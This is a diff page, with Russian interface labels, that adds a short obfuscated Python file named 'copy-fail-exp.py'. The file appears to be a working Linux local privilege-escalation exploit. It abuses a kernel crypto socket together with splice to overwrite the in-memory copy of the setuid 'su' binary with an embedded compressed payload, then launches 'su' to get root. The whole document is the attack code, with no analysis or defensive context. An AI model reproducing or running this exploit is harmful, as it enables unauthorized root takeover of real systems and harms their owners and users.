copy-fail-exp.py(файл создан)
| @@ -0,0 +1,10 @@ | |||
| 1 | + | #!/usr/bin/env python3 | |
| 2 | + | import os as g,zlib,subprocess,socket as s | |
| 3 | + | def d(x):return bytes.fromhex(x) | |
| 4 | + | def c(f,t,c): | |
| 5 | + | a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) | |
| 6 | + | try:u.recv(8+t) | |
| 7 | + | except:0 | |
| 8 | + | f=g.open(subprocess.check_output(["whereis", "su"], text=True).split(" ")[-1].strip(),0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) | |
| 9 | + | while i<len(e):c(f,i,e[i:i+4]);i+=4 | |
| 10 | + | g.system("su") | |
Новее
Позже